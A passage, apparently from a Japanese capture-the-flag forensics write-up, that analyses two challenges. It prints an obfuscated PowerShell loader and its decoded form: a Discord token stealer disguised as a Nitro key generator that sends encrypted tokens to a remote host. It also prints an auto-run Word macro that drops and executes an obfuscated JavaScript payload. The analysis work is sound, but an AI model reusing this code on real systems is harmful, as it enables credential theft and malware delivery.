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" ;
$s0yAY2gmHVNFd7QZ = $jozeq3n.ToCharArray() ; [array]::Reverse($s0yAY2gmHVNFd7QZ) ; -join $s0yAY2gmHVNFd7QZ 2>&1> $null ;
$LOaDcODEoPX3ZoUgP2T6cvl3KEK = [sYSTeM.TeXt.ENcODING]::UTf8.geTSTRiNG([SYSTEm.cOnVeRT]::FRoMBaSe64sTRing("$s0yAY2gmHVNFd7QZ")) ;
$U9COA51JG8eTcHhs0YFxrQ3j = "Inv"+"OKe"+"-EX"+"pRe"+"SSI"+"On" ; New-alIaS -Name pWn -VaLuE $U9COA51JG8eTcHhs0YFxrQ3j -FoRcE ; pWn $lOADcODEoPX3ZoUgP2T6cvl3KEK ;

このスクリプトは、実際のところ以下のようなコードを実行します。

$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"

function Steal {
    param (
        [string]$path
    )

    $tokens = @()

    try {
        Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {

            try {
                $fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop

                foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
                    $tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {
                        $_.Matches.Value
                    }
                }
            } catch {}
        }
    } catch {}

    return $tokens
}

function GenerateDiscordNitroCodes {
    param (
        [int]$numberOfCodes = 10,
        [int]$codeLength = 16
    )

    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    $codes = @()

    for ($i = 0; $i -lt $numberOfCodes; $i++) {
        $code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() })
        $codes += $code
    }

    return $codes
}

function Get-DiscordUserInfo {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $true)]
        [string]$Token
    )

    process {
        try {
            $Headers = @{
                "Authorization" = $Token
                "Content-Type" = "application/json"
                "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
            }

            $Uri = "https://discord.com/api/v9/users/@me"

            $Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
            return $Response
        }
        catch {}
    }
}

function Create-AesManagedObject($key, $IV, $mode) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"

    if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
    elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
    elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
    elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
    elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}


    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        else {
            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

function Encrypt-String($key, $plaintext) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    [System.Convert]::ToBase64String($fullData)
}

Write-Host "
______              ______ _                       _   _   _ _ _               _____  _____  _____   ___
|  ___|             |  _  (_)                     | | | \ | (_) |             / __  \|  _  |/ __  \ /   |
| |_ _ __ ___  ___  | | | |_ ___  ___ ___  _ __ __| | |  \| |_| |_ _ __ ___   `' / /'| |/' |`' / /'/ /| |
|  _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \    / /  |  /| |  / / / /_| |
| | | | |  __/  __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\  | | |_| | | (_) | ./ /___\ |_/ /./ /__\___  |
\_| |_|  \___|\___| |___/ |_|___/\___\___/|_|  \__,_| \_| \_/_|\__|_|  \___/  \_____/ \___/ \_____/   |_/

                                                                                                         "
Write-Host "Generating Discord nitro keys! Please be patient..."

$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"

$paths = @{
    'Google Chrome' = "$local\Google\Chrome\User Data\Default"
    'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\"
    'Opera' = "$roaming\Opera Software\Opera Stable"
    'Firefox' = "$roaming\Mozilla\Firefox\Profiles"
}

$headers = @{
    'Content-Type' = 'application/json'
    'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
}

$allTokens = @()
foreach ($platform in $paths.Keys) {
    $currentPath = $paths[$platform]

    if (-not (Test-Path $currentPath -PathType Container)) {continue}

    $tokens = Steal -path $currentPath
    $allTokens += $tokens
}

$userInfos = @()
foreach ($token in $allTokens) {
    $userInfo = Get-DiscordUserInfo -Token $token
    if ($userInfo) {
        $userDetails = [PSCustomObject]@{
            ID = $userInfo.id
            Email = $userInfo.email
            GlobalName = $userInfo.global_name
            Token = $token
        }
        $userInfos += $userDetails
    }
}

$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload

try {
    $headers = @{
        'Content-Type' = 'text/plain'
        'User-Agent' = 'Mozilla/5.0'
    }
    Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
}
catch {}

Write-Host "Success! Discord Nitro Keys:"
$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
$keys | ForEach-Object { Write-Output $_ }

このスクリプトでは、システム内から取得した秘密の情報を暗号化して POST で外部に送出していることがわかります。

実際に送信されているデータは、pcap ファイルから以下の通り確認できます。

image-20240311000210644

ここで送出されるデータは、以下の箇所で作成されています。

ハードコードされたキーと平文を AES で暗号化した後、その際に使用した IV と暗号化したデータを連結して Base64 エンコードした文字列が外部に送信されています。

function Encrypt-String($key, $plaintext) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    [System.Convert]::ToBase64String($fullData)
}

IV のサイズは 16 バイトであることがわかっているので、デコードした Base64 テキストから IV と暗号化テキストを分離し、以下のスクリプトで復号を行いました。

function Create-AesManagedObject($key, $IV, $mode) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"

    if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
    elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
    elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
    elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
    elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}


    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        else {
            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}
$key = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$aesManaged = Create-AesManagedObject $key
$aesManaged.IV = [Convert]::FromBase64String("bEG+rGcRyYKeqlzXb0QVVQ==")
$aesManaged

$decryptor = $aesManaged.CreateDecryptor()

$encryptedBytes = [Convert]::FromBase64String("G8WnkT2+aVJIbem8NMAahtrTlTG96nC/77S5Z7UyfguIgidmI0L8RLW1LtKbOZtz31Vx32HnUqADlGzW3xPnkSvmJzgWWgHNDu2mKfD32QLfzRZFpZyrUJzyJDqVkE//Kom4ux8tOlJjfIh5LCrxn226y/m5a930T1XQeHYHCTksMxifLBnDriGwfzK4T+7+Uy8/iBv46wccE9xZep1vgOWLCFbBuUOEkHjTbZQLZ4QwjR9wd7XEHMFI3JjzGqmjJoBpEeJPFNlouSt+ENSCb5zTM4Q3xvKE6J9mEImpLu1+hMdQvhWH7UB4FNNROmu11uardhSFfoANOsQGLmBdBtIjmvXDPevfsDvVnikcecCglM7S6uogKGkGKEVZ9ix2gyY7vu9mZ008OjVSDaPKdnND82Styg0CsE0h9uiIGduYK8VzXHAcUYvgk92N7yzdwzYo/YQMvfv31WonDeVagVfSgGCQWL4NEp+ibbRd0QKkjNb2J0nR66vEvF4ZLgkjefeOXh8hUPPC91iv6Hq6IFRF4CmpF7UFqxHx6dXho2j4i+x2eHNGKH6ump20JNZOOXNRcTRhJOSfGJGIF9i21G6U7rPHhK8k2lnWo6RLVRbbT/bFQ7fLLvpaH0k8MJXs4y8iEQcMWH8X+O9HbK31FMUh37NG3XYF/KNuLyt63tA3Tt2WkhymkoojzI3OoHgU")

$memoryStream = New-Object "System.IO.MemoryStream"
$cryptoStream = New-Object "System.Security.Cryptography.CryptoStream" ($memoryStream, $decryptor, "Write")
$cryptoStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$cryptoStream.FlushFinalBlock()

$decryptedBytes = $memoryStream.ToArray()
$memoryStream.Close()
$cryptoStream.Close()
$decryptedText = [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
Write-Output $decryptedText

これで、以下のような平文を取得できます。

[
    {
        "ID":  "1212103240066535494",
        "Email":  "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9",
        "GlobalName":  "phreaks_admin",
        "Token":  "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk"
    },
    {
        "ID":  "1212103240066535494",
        "Email":  "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9",
        "GlobalName":  "phreaks_admin",
        "Token":  "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk"
    }
]

Flag の前半は $part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf" としてハードコードされているので、これをデコードすることで Flag 文字列を取得できました。

image-20240311000353231

Game Invitation(Forensic)

In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: “Join The Fray: Embrace the Challenge.” But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?

問題バイナリとしてマクロ付きの Word ドキュメントが与えられます。

image-20240311211250173

まずは python3 olevba.py ~/win/forensics_game_invitation/invitation.docm で、このマクロスクリプトを抽出しました。

Function xor_string(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
xor_string_True = True
End Function

Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set Scripting_FileSystemObject = CreateObject("Scripting.FileSystemObject")
Scripting_FileSystemObject.DeleteFile appdata_folder & "\*.*", True
Set Scripting_FileSystemObject = Nothing
End Sub

Sub AutoOpen()
    On Error GoTo MnOWqnnpKXfRO
    Dim chkDomain As String
    Dim strUserDomain As String
    chkDomain = "GAMEMASTERS.local"
    strUserDomain = Environ$("UserDomain")
    If chkDomain <> strUserDomain Then

    Else

    Dim FreeFile_num
    Dim file_length As Long
    Dim length As Long
    file_length = FileLen(ActiveDocument.FullName)
    FreeFile_num = FreeFile
    Open (ActiveDocument.FullName) For Binary As #FreeFile_num

    Dim byte_array1() As Byte
    ReDim byte_array1(file_length)
    
    Get #FreeFile_num, 1, byte_array1
    Dim byte_array1_to_unicode As String
    byte_array1_to_unicode = StrConv(byte_array1, vbUnicode)

    Dim matched_data, pattern_matched_array
    Dim regexp_obj
    Set regexp_obj = CreateObject("vbscript.regexp")
    regexp_obj.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
    Set pattern_matched_array = regexp_obj.Execute(byte_array1_to_unicode)

    Dim mached_offset
    For Each matched_data In pattern_matched_array
        mached_offset = matched_data.FirstIndex
    Exit Fors
    Next

    Dim byte_string() As Byte
    Dim long_num As Long
    long_num = 13082
    ReDim byte_string(long_num)
    Get #FreeFile_num, mached_offset + 81, byte_string
    xor_string( (), long_num + 1)
    
    appdata_folder = Environ("appdata") & "\Microsoft\Windows"
    Set Scripting_FileSystemObject = CreateObject("Scripting.FileSystemObject")
    If Not Scripting_FileSystemObject.FolderExists(appdata_folder) Then
    appdata_folder = Environ("appdata")
    End If
    
    Set Scripting_FileSystemObject = Nothing
    Dim K764B5Ph46Vh
    K764B5Ph46Vh = FreeFile
    IAiiymixt = appdata_folder & "\" & "mailform.js"
    Open (IAiiymixt) For Binary As #K764B5Ph46Vh
    Put #K764B5Ph46Vh, 1, byte_string
    Close #K764B5Ph46Vh
    Erase byte_string
    Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
    R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
    ActiveDocument.Save
    Exit Sub
    MnOWqnnpKXfRO:
    Close #K764B5Ph46Vh
    ActiveDocument.Save
    End If
End Sub

参考:Release oletools v0.60.1 · decalage2/oletools

このマクロスクリプトは Word ファイル自身のデータ内から特定のバイト列を抽出して XOR 復号を行い、その結果を mailform.js として保存して WScript.Shell で実行するというものでした。

ここで保存される mailform.js は難読化された JavaScript ファイルでした。

var lVky=WScript.Arguments;var DASz=lVky(0);var Iwlh=lyEK();Iwlh=JrvS(Iwlh);Iwlh=xR68(DASz,Iwlh);eval(Iwlh);function af5Q(r){var a=r.charCodeAt(0);if(a===43||a===45)return 62;if(a===47||a===95)return 63;if(a<48)return-1;if(a<48+10)return a-48+26+26;if(a<65+26)return a-65;if(a<97+26)return a-97+26}function JrvS(r){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var t;var l;var h;if(r.length%4>0)return;var u=r.length;var g=r.charAt(u-2)==="="?2:r.charAt(u-1)==="="?1:0;var n=new Array(r.length*3/4-g);var i=g>0?r.length-4:r.length;var z=0;function b(r){n[z++]=r}for(t=0,l=0;t<i;t+=4,l+=3){h=af5Q(r.charAt(t))<<18|af5Q(r.charAt(t+1))<<12|af5Q(r.charAt(t+2))<<6|af5Q(r.charAt(t+3));b((h&16711680)>>16);b((h&65280)>>8);b(h&255)}if(g===2){h=af5Q(r.charAt(t))<<2|af5Q(r.charAt(t+1))>>4;b(h&255)}else if(g===1){h=af5Q(r.charAt(t))<<10|af5Q(r.charAt(t+1))<<4|af5Q(r.charAt(t+2))>>2;b(h>>8&255);b(h&255)}return n}function xR68(r,a){var t=[];var l=0;var h;var u="";for(var g=0;g<256;g++){t[g]=g}for(var g=0;g<256;g++){l=(l+t[g]+r.charCodeAt(g%r.length))%256;h=t[g];t[g]=t[l];t[l]=h}var g=0;var l=0;for(var n=0;n<a.length;n++){g=(g+1)%256;l=(l+t[g])%256;h=t[g];t[g]=t[l];t[l]=h;u+=String.fromCharCode(a[n]^t[(t[g]+t[l])%256])}return u}function lyEK(){var r="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